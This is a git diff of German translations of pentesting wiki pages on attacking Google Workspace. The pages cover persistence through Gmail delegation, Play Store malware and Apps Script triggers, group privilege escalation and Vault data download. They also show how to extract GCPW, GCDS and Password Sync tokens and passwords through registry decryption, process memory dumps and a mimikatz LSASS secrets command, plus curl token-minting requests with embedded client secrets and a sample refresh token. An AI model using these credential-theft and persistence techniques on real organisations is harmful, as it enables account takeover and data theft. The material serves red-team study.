- Automatisierte Prozesse, die häufig auf Gmail zugreifen, können ebenfalls die Anzahl der Delegierten verringern, die gleichzeitig auf ein Konto zugreifen können. Diese Prozesse umfassen APIs oder Browsererweiterungen, die häufig auf Gmail zugreifen.
- Ein einzelnes Gmail-Konto unterstützt bis zu 1.000 eindeutige Delegierte. Eine Gruppe in Gruppen zählt als ein Delegierter für das Limit.
- Die Delegation erhöht nicht die Limits für ein Gmail-Konto. Gmail-Konten mit delegierten Benutzern haben die standardmäßigen Gmail-Kontolimits und -richtlinien. Für Details besuchen Sie [Gmail-Limits und -richtlinien](https://support.google.com/a/topic/28609).
- Die Delegation erhöht nicht die Limits für ein Gmail-Konto. Gmail-Konten mit delegierten Benutzern haben die standardmäßigen Gmail-Kontolimits und -richtlinien. Für Details besuchen Sie [Gmail-Limits und -Richtlinien](https://support.google.com/a/topic/28609).
#### Schritt 1: Aktivieren Sie die Gmail-Delegation für Ihre Benutzer
**Bevor Sie beginnen:** Um die Einstellung für bestimmte Benutzer anzuwenden, setzen Sie deren Konten in eine [organisatorische Einheit](https://support.google.com/a/topic/1227584).
**Bevor Sie beginnen:** Um die Einstellung für bestimmte Benutzer anzuwenden, platzieren Sie deren Konten in einer [organisatorischen Einheit](https://support.google.com/a/topic/1227584).
1. [Melden Sie sich an](https://admin.google.com/) bei Ihrer [Google Admin-Konsole](https://support.google.com/a/answer/182076).
@@ -107,7 +107,7 @@ Melden Sie sich mit einem _Administrator-Konto_ an, nicht mit Ihrem aktuellen Ko
2. Gehen Sie in der Admin-Konsole zu Menü ![](https://storage.googleapis.com/support-kms-prod/JxKYG9DqcsormHflJJ8Z8bHuyVI5YheC0lAp)![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)![](https://storage.googleapis.com/support-kms-prod/ocGtUSENh4QebLpvZcmLcNRZyaTBcolMRSyl) **Apps**![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Google Workspace**![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Gmail**![und dann](https://storage.googleapis.com/support-kms-prod/Th2Tx0uwPMOhsMPn7nRXMUo3vs6J0pto2DTn)**Benutzereinstellungen**.
3. Um die Einstellung für alle anzuwenden, lassen Sie die oberste organisatorische Einheit ausgewählt. Andernfalls wählen Sie eine untergeordnete [organisatorische Einheit](https://support.google.com/a/topic/1227584).
4. Klicken Sie auf **Mail-Delegation**.
5. Aktivieren Sie das Kontrollkästchen **Benutzern erlauben, den Zugriff auf ihr Postfach an andere Benutzer in der Domain zu delegieren**.
5. Aktivieren Sie das Kontrollkästchen **Benutzern erlauben, anderen Benutzern im Domain Zugriff auf ihr Postfach zu gewähren**.
6. (Optional) Um Benutzern zu erlauben, anzugeben, welche Absenderinformationen in delegierten Nachrichten enthalten sind, die von ihrem Konto gesendet werden, aktivieren Sie das Kontrollkästchen **Benutzern erlauben, diese Einstellung anzupassen**.
7. Wählen Sie eine Option für die standardmäßigen Absenderinformationen, die in von Delegierten gesendeten Nachrichten enthalten sind:
- **Zeigen Sie den Kontoinhaber und den Delegierten an, der die E-Mail gesendet hat**—Nachrichten enthalten die E-Mail-Adressen des Gmail-Kontoinhabers und des Delegierten.
@@ -120,7 +120,7 @@ Melden Sie sich mit einem _Administrator-Konto_ an, nicht mit Ihrem aktuellen Ko
#### Schritt 2: Lassen Sie Benutzer Delegierte für ihre Konten einrichten
Nachdem Sie die Delegation aktiviert haben, gehen Ihre Benutzer zu ihren Gmail-Einstellungen, um Delegierte zuzuweisen. Delegierte können dann im Namen des Benutzers Nachrichten lesen, senden und empfangen.
Nachdem Sie die Delegation aktiviert haben, gehen Ihre Benutzer zu ihren Gmail-Einstellungen, um Delegierte zuzuweisen. Delegierte können dann Nachrichten im Namen des Benutzers lesen, senden und empfangen.
Für Details leiten Sie die Benutzer zu [Delegieren und zusammenarbeiten bei E-Mails](https://support.google.com/a/users/answer/138350).
@@ -156,7 +156,7 @@ Wenn Sie Gmail über Ihre Arbeit, Schule oder andere Organisation verwenden:
Die Person, die Sie hinzugefügt haben, erhält eine E-Mail, in der sie um Bestätigung gebeten wird. Die Einladung läuft nach einer Woche ab.
Wenn Sie eine Gruppe hinzugefügt haben, werden alle Gruppenmitglieder ohne Bestätigung Delegierte.
Wenn Sie eine Gruppe hinzugefügt haben, werden alle Gruppenmitglieder ohne Bestätigung zu Delegierten.
Hinweis: Es kann bis zu 24 Stunden dauern, bis die Delegation wirksam wird.
@@ -164,11 +164,11 @@ Hinweis: Es kann bis zu 24 Stunden dauern, bis die Delegation wirksam wird.
## Persistenz über die Android-App
Wenn Sie eine **Sitzung im Google-Konto des Opfers** haben, können Sie zum **Play Store** browsen und möglicherweise **Malware installieren**, die Sie bereits im Store hochgeladen haben, direkt **auf das Telefon**, um Persistenz aufrechtzuerhalten und auf das Telefon des Opfers zuzugreifen.
Wenn Sie eine **Sitzung im Google-Konto des Opfers** haben, können Sie zum **Play Store** browsen und möglicherweise **Schadsoftware installieren**, die Sie bereits in den Store hochgeladen haben, direkt **auf das Telefon**, um Persistenz aufrechtzuerhalten und auf das Telefon des Opfers zuzugreifen.
## **Persistenz über** App-Skripte
Sie können **zeitbasierte Trigger** in App-Skripten erstellen, sodass, wenn das App-Skript vom Benutzer akzeptiert wird, es **ausgelöst** wird, selbst **ohne dass der Benutzer darauf zugreift**. Für weitere Informationen darüber, wie Sie dies tun können, überprüfen Sie:
Sie können **zeitbasierte Trigger** in App-Skripten erstellen, sodass, wenn das App-Skript vom Benutzer akzeptiert wird, es **ausgelöst** wird, auch **ohne dass der Benutzer darauf zugreift**. Für weitere Informationen darüber, wie Sie dies tun können, überprüfen Sie:
{{#ref}}
gws-google-platforms-phishing/gws-app-scripts.md
@@ -176,7 +176,7 @@ gws-google-platforms-phishing/gws-app-scripts.md
## Referenzen
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: Die Macht der dunklen Apps-Skriptmagie
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, wie mache ich Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -4,10 +4,10 @@
## Google Groups Privesc
Standardmäßig kann in Workspace eine **Gruppe** von jedem Mitglied der Organisation **frei zugegriffen** werden.\
Workspace erlaubt auch, **Berechtigungen für Gruppen zu gewähren** (sogar GCP-Berechtigungen), sodass, wenn Gruppen beigetreten werden können und sie zusätzliche Berechtigungen haben, ein Angreifer diesen Weg **ausnutzen kann, um Privilegien zu eskalieren**.
Standardmäßig kann in Workspace eine **Gruppe** von jedem Mitglied der Organisation **frei zugänglich** sein.\
Workspace erlaubt auch, **Berechtigungen für Gruppen zu gewähren** (sogar GCP-Berechtigungen), sodass ein Angreifer, wenn Gruppen beigetreten werden können und sie zusätzliche Berechtigungen haben, diesen Weg möglicherweise **ausnutzen kann, um Privilegien zu eskalieren**.
Sie benötigen möglicherweise Zugriff auf die Konsole, um Gruppen beizutreten, die von jedem in der Organisation beigetreten werden können. Überprüfen Sie die Gruppeninformationen unter [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
Sie benötigen möglicherweise Zugriff auf die Konsole, um Gruppen beizutreten, die von jedem in der Organisation beigetreten werden können. Überprüfen Sie die Gruppeninformationen in [**https://groups.google.com/all-groups**](https://groups.google.com/all-groups).
### Zugriff auf Gruppen-Mail-Informationen
@@ -25,7 +25,7 @@ Wenn Sie eine **Sitzung im Google-Konto des Opfers** haben, können Sie alles he
## Vault - Alle Workspace-Daten der Benutzer herunterladen
Wenn eine Organisation **Google Vault aktiviert** hat, könnten Sie in der Lage sein, auf [**https://vault.google.com**](https://vault.google.com/u/1/) zuzugreifen und alle **Informationen** **herunterzuladen**.
Wenn eine Organisation **Google Vault aktiviert** hat, könnten Sie in der Lage sein, [**https://vault.google.com**](https://vault.google.com/u/1/) zuzugreifen und alle **Informationen** **herunterzuladen**.
## Kontakte herunterladen
@@ -49,7 +49,7 @@ Zur Vereinfachung werden die meisten Menschen einen Link generieren und teilen,
Einige vorgeschlagene Möglichkeiten, um alle Dokumente zu finden:
- In internen Chats, Foren... suchen
- In internen Chats, Foren suchen...
- **Spider** bekannte **Dokumente** nach **Referenzen** zu anderen Dokumenten durchsuchen. Dies können Sie innerhalb eines App-Skripts mit [**PaperChaser**](https://github.com/mandatoryprogrammer/PaperChaser) tun.
## **Keep Notes**
@@ -69,6 +69,6 @@ Sie können auch E-Mails finden, indem Sie durch alle Rechnungen des Benutzers i
## Referenzen
- [https://www.youtube-nocookie.com/embed/6AsVUS79gLw](https://www.youtube-nocookie.com/embed/6AsVUS79gLw) - Matthew Bryant - Hacking G Suite: The Power of Dark Apps Script Magic
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, Wie mache ich Red Team GSuite?
- [https://www.youtube.com/watch?v=KTVHLolz6cE](https://www.youtube.com/watch?v=KTVHLolz6cE) - Mike Felch und Beau Bullock - OK Google, wie mache ich Red Team GSuite?
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,10 +1,10 @@
# GWS - Workspace Sync Attacks (GCPW, GCDS, GPS, Directory Sync with AD & EntraID)
# GWS - Workspace Sync Angriffe (GCPW, GCDS, GPS, Verzeichnis-Synchronisierung mit AD & EntraID)
{{#include ../../../banners/hacktricks-training.md}}
## GCPW - Google Credential Provider for Windows
## GCPW - Google Credential Provider für Windows
Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich mit **ihren Workspace-Anmeldeinformationen** an ihren Windows-PCs anmelden können. Darüber hinaus werden **Tokens** zum Zugriff auf Google Workspace an einigen Stellen im PC gespeichert: Festplatte, Speicher & die Registrierung... es ist sogar möglich, das **Klartextpasswort** zu erhalten.
Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit Benutzer sich an ihren Windows-PCs mit **ihren Workspace-Anmeldeinformationen** anmelden können. Darüber hinaus werden **Tokens** zum Zugriff auf Google Workspace an einigen Stellen im PC gespeichert: Festplatte, Speicher & die Registrierung... es ist sogar möglich, das **Klartext-Passwort** zu erhalten.
> [!TIP]
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GCPW** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar Tokens**.
@@ -32,7 +32,7 @@ gcds-google-cloud-directory-sync.md
## GPS - Google Password Sync
Dies ist die Binärdatei und der Dienst, den Google anbietet, um die **Passwörter der Benutzer zwischen dem AD** und Workspace synchronisiert zu halten. Jedes Mal, wenn ein Benutzer sein Passwort im AD ändert, wird es an Google gesendet.
Dies ist die Binärdatei und der Dienst, den Google anbietet, um **die Passwörter der Benutzer zwischen dem AD** und Workspace synchronisiert zu halten. Jedes Mal, wenn ein Benutzer sein Passwort im AD ändert, wird es an Google übermittelt.
Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binärdatei `PasswordSync.exe` zur Konfiguration und `password_sync_service.exe` (der Dienst, der weiterhin läuft) finden können.

View File

@@ -4,7 +4,7 @@
## Grundinformationen
Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutzer und -Gruppen mit Ihrem Workspace zu synchronisieren** (und nicht umgekehrt zum Zeitpunkt des Schreibens).
Dies ist ein Tool, das verwendet werden kann, um **Ihre Active Directory-Benutzer und -Gruppen mit Ihrem Workspace zu synchronisieren** (und nicht umgekehrt zum Zeitpunkt dieses Schreibens).
Es ist interessant, weil es ein Tool ist, das die **Anmeldeinformationen eines Workspace-Superusers und eines privilegierten AD-Benutzers** erfordert. Daher könnte es möglich sein, es auf einem Domänenserver zu finden, der von Zeit zu Zeit Benutzer synchronisiert.
@@ -152,7 +152,7 @@ Write-Host "Decrypted Password: $decryptedPassword"
> [!NOTE]
> Beachten Sie, dass es möglich ist, diese Informationen zu überprüfen, indem Sie den Java-Code von **`DirSync.jar`** aus **`C:\Program Files\Google Cloud Directory Sync`** durchsuchen und nach der Zeichenfolge `exportkeys` suchen (da dies der CLI-Parameter ist, den die Binärdatei `upgrade-config.exe` erwartet, um die Schlüssel auszugeben).
Anstelle des Powershell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registrierung im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC sowie diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.
Anstelle des PowerShell-Skripts ist es auch möglich, die Binärdatei **`:\Program Files\Google Cloud Directory Sync\upgrade-config.exe`** mit dem Parameter `-exportKeys` zu verwenden und den **Key** und **IV** aus der Registry im Hex-Format abzurufen und dann einfach CyberChef mit AES/CBC und diesem Schlüssel und IV zu verwenden, um die Informationen zu entschlüsseln.
### GCDS - Tokens aus dem Speicher dumpen
@@ -250,7 +250,7 @@ https://www.googleapis.com/oauth2/v4/token
> [!NOTE]
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
>
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig.
Standardmäßig hat GCSD nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
@@ -321,6 +321,6 @@ curl -X POST \
# You could also change the password of a user for example
```
> [!CAUTION]
> Es ist nicht möglich, dem neuen Benutzer die Super Admin-Rolle zuzuweisen, da das **Aktualisierungstoken nicht über genügend Berechtigungen verfügt**, um die erforderlichen Privilegien zu gewähren.
> Es ist nicht möglich, dem neuen Benutzer die Super Amin-Rolle zuzuweisen, da das **Aktualisierungstoken nicht über genügend Berechtigungen verfügt**, um die erforderlichen Privilegien zu gewähren.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -11,7 +11,7 @@ Dies ist die Single Sign-On-Lösung, die Google Workspaces bereitstellt, damit B
### GCPW - MitM
Wenn ein Benutzer auf einen Windows-PC zugreift, der über GCPW mit Google Workspace synchronisiert ist, muss er ein gängiges Anmeldeformular ausfüllen. Dieses Anmeldeformular gibt einen OAuth-Code zurück, den der PC gegen das Refresh-Token in einer Anfrage wie folgt eintauscht:
Wenn ein Benutzer auf einen Windows-PC zugreift, der über GCPW mit Google Workspace synchronisiert ist, muss er ein gängiges Anmeldeformular ausfüllen. Dieses Anmeldeformular gibt einen OAuth-Code zurück, den der PC gegen das Refresh-Token in einer Anfrage wie:
```http
POST /oauth2/v4/token HTTP/2
Host: www.googleapis.com
@@ -104,9 +104,9 @@ Darüber hinaus ist die Datei **`C:\ProgramData\Google\Credential Provider\Polic
## GCPW - Tokens abrufen
### GCPW - Registrierungs-Refresh-Tokens
### GCPW - Registry Refresh Tokens
Innerhalb der Registrierung **`HKCU:\SOFTWARE\Google\Accounts`** könnte es möglich sein, einige Konten mit dem **`refresh_token`** zu finden, das darin verschlüsselt ist. Die Methode **`ProtectedData.Unprotect`** kann es leicht entschlüsseln.
Innerhalb der Registry **`HKCU:\SOFTWARE\Google\Accounts`** könnte es möglich sein, einige Konten mit dem **`refresh_token`** zu finden, das darin verschlüsselt ist. Die Methode **`ProtectedData.Unprotect`** kann es leicht entschlüsseln.
<details>
@@ -162,8 +162,6 @@ Get-RegistryKeysAndDecryptTokens -keyPath $_.PSPath
Get-RegistryKeysAndDecryptTokens -keyPath $baseKey
```
</details>
Beispielausgabe:
```
Path: Microsoft.PowerShell.Core\Registry::HKEY_CURRENT_USER\SOFTWARE\Google\Accounts\100402336966965820570Decrypted refresh_token: 1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI
```
@@ -188,7 +186,7 @@ Das folgende Skript kann verwendet werden, um jeden **Chrome**-Prozess mit `proc
<details>
<summary>Dump Chrome-Prozesse und suche nach Tokens</summary>
<summary>Dump Chrome-Prozesse und nach Tokens suchen</summary>
```powershell
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
@@ -264,7 +262,7 @@ Remove-Item -Path $dumpFolder -Recurse -Force
Ich habe dasselbe mit `gcpw_extension.exe` versucht, aber es wurde kein Token gefunden.
Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken nicht gültig (obwohl einige gültig sind)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 nach dem anderen zu entfernen, um zu versuchen, das gültige Token aus dem Dump zu erhalten. Es hat mir nie geholfen, ein gültiges zu finden, aber ich schätze, es könnte:
Aus irgendeinem Grund sind **einige extrahierte Zugriffstoken ungültig (obwohl einige gültig sein werden)**. Ich habe das folgende Skript ausprobiert, um Zeichen 1 nach dem anderen zu entfernen, um zu versuchen, den gültigen Token aus dem Dump zu erhalten. Es hat mir nie geholfen, einen gültigen zu finden, aber ich schätze, es könnte:
<details>
@@ -316,7 +314,7 @@ https://www.googleapis.com/oauth2/v4/token
> [!NOTE]
> Beachten Sie, dass es selbst mit einem Refresh-Token nicht möglich ist, einen beliebigen Scope für das Access-Token anzufordern, da Sie nur die **Scopes anfordern können, die von der Anwendung unterstützt werden, in der Sie das Access-Token generieren**.
>
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
> Außerdem ist der Refresh-Token nicht in jeder Anwendung gültig.
Standardmäßig hat GCPW nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
@@ -350,7 +348,7 @@ Und dies ist die Ausgabe, die ich zum Zeitpunkt des Schreibens erhalten habe:
<details>
<summary>Brute-forced scopes</summary>
<summary>Brute-forced Scopes</summary>
```
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/calendar
@@ -382,7 +380,7 @@ https://www.googleapis.com/auth/userinfo.profile
```
</details>
Darüber hinaus ist es möglich, im Chromium-Quellcode [**diese Datei zu finden**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), die **andere Scopes** enthält, von denen angenommen werden kann, dass sie **nicht in der zuvor bruteforce-liste erscheinen**. Daher können diese zusätzlichen Scopes angenommen werden:
Darüber hinaus ist es möglich, im Chromium-Quellcode [**diese Datei zu finden**](https://github.com/chromium/chromium/blob/5301790cd7ef97088d4862465822da4cb2d95591/google_apis/gaia/gaia_constants.cc#L24), die **andere Scopes** enthält, die **nicht in der zuvor bruteforce-liste erscheinen**. Daher können diese zusätzlichen Scopes angenommen werden:
<details>
@@ -470,9 +468,9 @@ Beachten Sie, dass das möglicherweise das interessanteste ist:
// OAuth2 scope for access to all Google APIs.
const char kAnyApiOAuth2Scope[] = "https://www.googleapis.com/auth/any-api";
```
Allerdings habe ich versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, daher weiß ich nicht, wie nützlich er noch ist.
Ich habe jedoch versucht, diesen Scope zu verwenden, um auf Gmail zuzugreifen oder Gruppen aufzulisten, und es hat nicht funktioniert, also weiß ich nicht, wie nützlich es noch ist.
**Holen Sie sich ein Zugriffstoken mit all diesen Scopes**:
**Erhalten Sie ein Zugriffstoken mit all diesen Scopes**:
<details>
@@ -589,7 +587,7 @@ https://www.googleapis.com/oauth2/v4/token
```
</details>
Einige Beispiele, die einige dieser Scopes verwenden:
Einige Beispiele, die einige dieser Bereiche verwenden:
<details>
@@ -762,10 +760,10 @@ curl -X POST \
<summary>https://www.googleapis.com/auth/ediscovery (Google Vault)</summary>
**Google Workspace Vault** ist ein Add-On für Google Workspace, das Werkzeuge für Datenaufbewahrung, Suche und Export für die Daten Ihrer Organisation bietet, die in Google Workspace-Diensten wie Gmail, Drive, Chat und mehr gespeichert sind.
**Google Workspace Vault** ist ein Add-on für Google Workspace, das Werkzeuge für die Datenaufbewahrung, -suche und -export für die Daten Ihrer Organisation bietet, die in Google Workspace-Diensten wie Gmail, Drive, Chat und mehr gespeichert sind.
- Ein **Matter** in Google Workspace Vault ist ein **Container**, der alle Informationen zu einem bestimmten Fall, einer Untersuchung oder einer rechtlichen Angelegenheit organisiert und gruppiert. Er dient als zentrale Anlaufstelle für die Verwaltung von **Holds**, **Searches** und **Exports**, die sich auf dieses spezielle Thema beziehen.
- Ein **Hold** in Google Workspace Vault ist eine **Erhaltungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben.
- Ein **Matter** in Google Workspace Vault ist ein **Container**, der alle Informationen zu einem bestimmten Fall, einer Untersuchung oder einer rechtlichen Angelegenheit organisiert und gruppiert. Er dient als zentrales Hub für die Verwaltung von **Holds**, **Searches** und **Exports**, die sich auf dieses spezielle Thema beziehen.
- Ein **Hold** in Google Workspace Vault ist eine **Bewahrungsmaßnahme**, die auf bestimmte Benutzer oder Gruppen angewendet wird, um die **Löschung oder Änderung** ihrer Daten innerhalb der Google Workspace-Dienste zu **verhindern**. Holds stellen sicher, dass relevante Informationen während eines rechtlichen Falls oder einer Untersuchung intakt und unverändert bleiben.
```bash
# List matters
curl -X GET \
@@ -799,7 +797,7 @@ Mehr [API-Endpunkte in den Dokumenten](https://developers.google.com/vault/refer
## GCPW - Wiederherstellung des Klartextpassworts
Um GCPW auszunutzen, um den Klartext des Passworts wiederherzustellen, ist es möglich, das verschlüsselte Passwort aus **LSASS** mit **mimikatz** zu dumpen:
Um GCPW auszunutzen, um den Klartext des Passworts wiederherzustellen, ist es möglich, das verschlüsselte Passwort von **LSASS** mit **mimikatz** zu dumpen:
```bash
mimikatz_trunk\x64\mimikatz.exe privilege::debug token::elevate lsadump::secrets exit
```

View File

@@ -4,32 +4,32 @@
## Grundinformationen
Dies ist die Binärdatei und der Dienst, den Google anbietet, um **die Passwörter der Benutzer zwischen dem AD** und Workspace **synchronisiert zu halten**. Jedes Mal, wenn ein Benutzer sein Passwort im AD ändert, wird es auf Google gesetzt.
Dies ist die Binärdatei und der Dienst, den Google anbietet, um **die Passwörter der Benutzer zwischen dem AD** und Workspace **synchronisiert zu halten**. Jedes Mal, wenn ein Benutzer sein Passwort im AD ändert, wird es in Google gesetzt.
Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binärdatei `PasswordSync.exe` zur Konfiguration und `password_sync_service.exe` (der Dienst, der weiterläuft) finden können.
Es wird in `C:\Program Files\Google\Password Sync` installiert, wo Sie die Binärdatei `PasswordSync.exe` zur Konfiguration und `password_sync_service.exe` (der Dienst, der weiterhin läuft) finden können.
### GPS - Konfiguration
Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **ihm Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren:
Um diese Binärdatei (und den Dienst) zu konfigurieren, ist es notwendig, **Zugriff auf ein Super Admin-Konto in Workspace** zu gewähren:
- Anmeldung über **OAuth** mit Google, danach wird **ein Token in der Registrierung (verschlüsselt) gespeichert**
- Anmeldung über **OAuth** mit Google, danach wird **ein Token im Registrierungseditor (verschlüsselt)** gespeichert
- Nur verfügbar auf Domänencontrollern mit GUI
- Bereitstellung von **Service Account-Anmeldeinformationen von GCP** (json-Datei) mit Berechtigungen zur **Verwaltung der Workspace-Benutzer**
- Sehr schlechte Idee, da diese Anmeldeinformationen niemals ablaufen und missbraucht werden könnten
- Sehr schlechte Idee, einem SA Zugriff auf Workspace zu gewähren, da der SA in GCP kompromittiert werden könnte und es möglich wäre, zu Workspace zu pivotieren
- Google verlangt dies für domänenkontrollierte Umgebungen ohne GUI
- Diese Anmeldeinformationen werden ebenfalls in der Registrierung gespeichert
- Diese Anmeldeinformationen werden ebenfalls im Registrierungseditor gespeichert
Bezüglich AD ist es möglich, anzugeben, dass der aktuelle **Anwendungskontext, anonym oder einige spezifische Anmeldeinformationen** verwendet werden sollen. Wenn die Option Anmeldeinformationen ausgewählt ist, wird der **Benutzername** in einer Datei auf der **Festplatte** gespeichert und das **Passwort** ist **verschlüsselt** und in der **Registrierung** gespeichert.
Bezüglich AD ist es möglich, anzugeben, dass der aktuelle **Anwendungskontext, anonym oder einige spezifische Anmeldeinformationen** verwendet werden sollen. Wenn die Option Anmeldeinformationen ausgewählt ist, wird der **Benutzername** in einer Datei auf der **Festplatte** gespeichert und das **Passwort** ist **verschlüsselt** und im **Registrierungseditor** gespeichert.
### GPS - Dumping Passwort und Token von der Festplatte
### GPS - Dumping von Passwort und Token von der Festplatte
> [!TIP]
> Beachten Sie, dass [**Winpeas**](https://github.com/peass-ng/PEASS-ng/tree/master/winPEAS/winPEASexe) in der Lage ist, **GPS** zu erkennen, Informationen über die Konfiguration zu erhalten und **sogar das Passwort und Token zu entschlüsseln**.
In der Datei **`C:\ProgramData\Google\Google Apps Password Sync\config.xml`** ist es möglich, Teile der Konfiguration wie den **`baseDN`** des konfigurierten AD und den **`Benutzernamen`**, dessen Anmeldeinformationen verwendet werden, zu finden.
In der Registrierung **`HKLM\Software\Google\Google Apps Password Sync`** ist es möglich, das **verschlüsselte Refresh-Token** und das **verschlüsselte Passwort** für den AD-Benutzer (falls vorhanden) zu finden. Darüber hinaus, wenn anstelle eines Tokens einige **SA-Anmeldeinformationen** verwendet werden, ist es auch möglich, diese verschlüsselt an dieser Registrierungsadresse zu finden. Die **Werte** in dieser Registrierung sind nur für **Administratoren** **zugänglich**.
Im Registrierungseditor **`HKLM\Software\Google\Google Apps Password Sync`** ist es möglich, das **verschlüsselte Refresh-Token** und das **verschlüsselte Passwort** für den AD-Benutzer (falls vorhanden) zu finden. Darüber hinaus, wenn anstelle eines Tokens einige **SA-Anmeldeinformationen** verwendet werden, ist es auch möglich, diese verschlüsselt an dieser Registrierungsadresse zu finden. Die **Werte** in dieser Registrierung sind nur für **Administratoren** **zugänglich**.
Das verschlüsselte **Passwort** (falls vorhanden) befindet sich im Schlüssel **`ADPassword`** und ist mit der **`CryptProtectData`** API verschlüsselt. Um es zu entschlüsseln, müssen Sie der gleiche Benutzer sein wie der, der die Passwortsynchronisierung konfiguriert hat, und diese **Entropie** verwenden, wenn Sie die **`CryptUnprotectData`** verwenden: `byte[] entropyBytes = new byte[] { 0xda, 0xfc, 0xb2, 0x8d, 0xa0, 0xd5, 0xa8, 0x7c, 0x88, 0x8b, 0x29, 0x51, 0x34, 0xcb, 0xae, 0xe9 };`
@@ -42,11 +42,11 @@ Die Entropiewerte wurden mit dem Tool gefunden. Es wurde konfiguriert, um die Au
Beachten Sie, dass es auch möglich ist, die **entschlüsselten** Werte in den Eingaben oder Ausgaben der Aufrufe dieser APIs zu sehen (für den Fall, dass Winpeas irgendwann nicht mehr funktioniert).
Falls die Passwortsynchronisierung **mit SA-Anmeldeinformationen konfiguriert wurde**, wird sie ebenfalls in Schlüsseln in der Registrierung **`HKLM\Software\Google\Google Apps Password Sync`** gespeichert.
Falls die Passwortsynchronisierung **mit SA-Anmeldeinformationen konfiguriert wurde**, wird sie ebenfalls in Schlüsseln im Registrierungseditor **`HKLM\Software\Google\Google Apps Password Sync`** gespeichert.
### GPS - Dumping Tokens aus dem Speicher
### GPS - Dumping von Tokens aus dem Speicher
Genau wie bei GCPW ist es möglich, den Speicher des Prozesses von `PasswordSync.exe` und `password_sync_service.exe` zu dumpen, und Sie werden in der Lage sein, Refresh- und Zugriffstoken zu finden (falls sie bereits generiert wurden).\
Genau wie bei GCPW ist es möglich, den Speicher des Prozesses von `PasswordSync.exe` und den Prozessen von `password_sync_service.exe` zu dumpen, und Sie werden in der Lage sein, Refresh- und Zugriffstokens zu finden (falls sie bereits generiert wurden).\
Ich nehme an, Sie könnten auch die konfigurierten AD-Anmeldeinformationen finden.
<details>
@@ -129,7 +129,7 @@ Write-Output ""
### GPS - Zugriffstoken aus Aktualisierungstoken generieren
Mit dem Aktualisierungstoken ist es möglich, Zugriffstoken zu generieren, indem es zusammen mit der Client-ID und dem Client-Secret verwendet wird, die im folgenden Befehl angegeben sind:
Mit dem Aktualisierungstoken ist es möglich, Zugriffstoken zu generieren, indem es zusammen mit der Client-ID und dem Client-Geheimnis verwendet wird, die im folgenden Befehl angegeben sind:
```bash
curl -s --data "client_id=812788789386-chamdrfrhd1doebsrcigpkb3subl7f6l.apps.googleusercontent.com" \
--data "client_secret=4YBz5h_U12lBHjf4JqRQoQjA" \
@@ -144,7 +144,7 @@ https://www.googleapis.com/oauth2/v4/token
>
> Außerdem ist das Refresh-Token nicht in jeder Anwendung gültig.
Standardmäßig hat GPS nicht als Benutzer Zugriff auf jeden möglichen OAuth-Scope. Mit dem folgenden Skript können wir die Scopes finden, die mit dem `refresh_token` verwendet werden können, um ein `access_token` zu generieren:
